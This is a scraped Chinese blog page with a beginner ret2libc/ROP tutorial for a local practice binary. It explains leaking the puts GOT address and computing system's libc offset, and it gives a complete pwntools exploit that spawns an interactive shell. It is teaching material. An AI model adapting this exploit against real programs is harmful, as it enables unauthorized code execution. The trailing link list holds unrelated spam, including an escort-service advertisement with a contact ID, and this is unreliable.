ret2libc--ROP(pwn)漏洞入门分析
背景知识
fflush
函数,清理缓冲区。
fflush(stdout)
一次性输出以上缓冲区所有数据
read(0,&buf,0xAu)
0代表标准输入,标准输出1,标准错误2,&buf 向buf输入。输入 长度为A的值的长度,数据类型U代表的是无符int
strtol(&buf,v3,v4)
是将输入的数据的ASCII码转换成数值存入 buf
中去
在read
中接受的是ascii码,所以使用python方法应该是 io.send(str('某个地址'))
使用got
查看运行的GOt 表中的信息
其中0x80
开始的就是未加载的表象地址。而0xf
开始一般都是libc中的地址
由上图可以看出,在 plt 中无 system 函数
利用查找字符串也未发现 /bin/sh
构建shell思路
当调试的时候查询到 puts 函数的时候,因为在 libc 中是固定的, 所以system
相对于puts
的位置是固定的,得到了puts
的地址加上偏移量即可获得system
地址
libc=ELF('./libc-2.23.so')
libc.symbols["system"]
//获取方法和获取当前变量一样
libc.symbols["puts"]
同样也可以使用ida进行获取
puts
相差的绝对值为 system
- puts
=
获取 puts 的 Got 地址。
from pwn import *
io=process('./ret2libc3')
elf=ELF('./ret2libc3')
elf.got['puts']
获得elf中put的 puts 地址 134520860
将该值传到服务器(这里是本地进程)
See_something 函数获取put在远程(这里是本地测试)的地址。
地址为0xf7daecd0
以 f7 开头的一般都是 libc 地址
获取sh
地址
获取到fflush
存储的地址,读取由sh开始的地址,当读取完sh
就会读取到 %00 。
即可完成字符串sh
的读取
netx(elf.search(b"sh\0x00"))
利用链
在复制过程中 src 的内容过长(0x100),导致 dest 之外的内容被覆盖。
src 内容来自于用户输入。
(注:默认情况下使用的libc文件为本机文件,使用ldd ret2libc3 -v查看相关信息)
payload
from pwn import *
io=process("./ret2libc3")
elf=ELF("./ret2libc3.1")
libc3=ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(" :",str(elf.got["puts"]))
io.recvuntil(b' : ')
puts_addr=int(io.recvuntil(b'\n',drop=True),16)
base_addr=libc3.symbols["system"]-libc3.symbols["puts"]
print(base_addr)
payload=flat(cyclic(60),puts_addr+base_addr,0xdeadbeef,next(elf.search(b"sh\x00")))
print(payload)
io.sendlineafter(b" :",payload)
print(io.recv())
io.interactive()
ret2libc--ROP(pwn)漏洞入门分析的更多相关文章
- [web安全原理分析]-SSRF漏洞入门
SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...
- Linux下pwn从入门到放弃
Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行 ...
- Ripple 20:Treck TCP/IP协议漏洞技术分析
本文由“合天智汇”公众号首发,作者:b1ngo Ripple 20:Treck TCP/IP协议漏洞技术分析 Ripple20是一系列影响数亿台设备的0day(19个),是JSOF研究实验室在Trec ...
- iot漏洞入门
路由器漏洞入门 下载项目https://github.com/praetorian-inc/DVRF 安装quem sudo apt install qemu-user-static 安装gdb-mu ...
- [web安全]Web应用漏洞攻击分析与防范
网站攻击主要分为以下几类: (1) sql注入攻击 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.它是利 ...
- Google发布SSLv3漏洞简要分析报告
今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...
- 关于 target="_blank"漏洞的分析
创建: 于 八月 30, 2016 关于 target="_blank"漏洞的分析 一.漏洞详情:首先攻击者能够将链接(指向攻击者自己控制的页面的,该被控页面的js脚本可以对母页 ...
- 美链BEC合约漏洞技术分析
这两天币圈链圈被美链BEC智能合约的漏洞导致代币价值几乎归零的事件刷遍朋友圈.这篇文章就来分析下BEC智能合约的漏洞 漏洞攻击交易 我们先来还原下攻击交易,这个交易可以在这个链接查询到. 我截图给大家 ...
- Heartbleed心脏出血漏洞原理分析
Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述 OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...
随机推荐
- 我还在生产玩 JDK7,JDK 15 却要来了!
自从 JDK9 之后,每年 3 月与 9 月 JDK 都会发布一个新的版本,而2020 年 9 月即将引来 JDK15. 恰巧 IDEA 每四五个月会升级一个较大的版本,每次升级之后都会支持最新版本 ...
- 新手接触springboot
新手使用springboot或者说,刚接触java行业,有些不明白的就是项目的架构是怎么样的,我今天在这儿稍微整理了一下 有些新手可能在想,springboot是怎么解决最原始的增-删-改-查, 快速 ...
- 十分钟快速上手NutUI
本文将会从 NutUI 初学者的使用入手,对 NutUI 做了一个快速的概述,希望能帮助新人在项目中快速上手. 文章包括以下主要内容 安装引入 NutUI NutUI 组件的使用 NutUI 主题和样 ...
- C++练习案例1.计算机类(利用多态实现)
c++简单计算机类 简介 大家好,这里是天天like的博客,这是我发的第一篇随笔,用来记录我的学习日程,大家可以相互学习,多多交流,感谢 今天我要记录的随笔是在学习c++多态的知识点练习改进的一个案例 ...
- Python numpy总结(3)——常用函数用法
1,np.ceil(x, y) 限制元素范围,进一法,即向上取整. x 表示输入的数据 y float类型 表示每个元素的上限. a = np.array([-1.7, -1.5, -0.2, 0. ...
- LeetCode刷题总结-动态规划篇
本文总结LeetCode上有动态规划的算法题,推荐刷题总数为54道.具体考点分析如下图: 1.中心扩展法 题号:132. 分割回文串 II,难度困难 2.背包问题 题号:140. 单词拆分 II,难度 ...
- Layman 对PHP源码进行加密保护
加密软件(php_screw) >下载网站:http://sourceforge.net/projects/php-screw/ >描述:php文件通常以文本格式存贮在服务器端, 很容易被 ...
- C#数据结构-双向链表
链表的概念以及链表与数组的差异不做过多的叙述,相信大家都耳熟能详,这里以c#语言实现简单的双向链表,作为备用,记录下~ public class Node<T> { private Nod ...
- maven下载依赖包下载失败
在家办公,遇到项目的maven包下载不了,刚开始以为是vpn的问题,折腾半天反复确认之后没有发现什么问题. 同时试过阿里巴巴的maven仓库,删除过以来,重新导过包发现都不行. 后来在idea的设置里 ...
- 福州11911.562(薇)xiaojie:福州哪里有xiaomei
福州哪里有小姐服务大保健[微信:11911.562倩儿小妹[福州叫小姐服务√o服务微信:11911.562倩儿小妹[福州叫小姐服务][十微信:11911.562倩儿小妹][福州叫小姐包夜服务][十微信 ...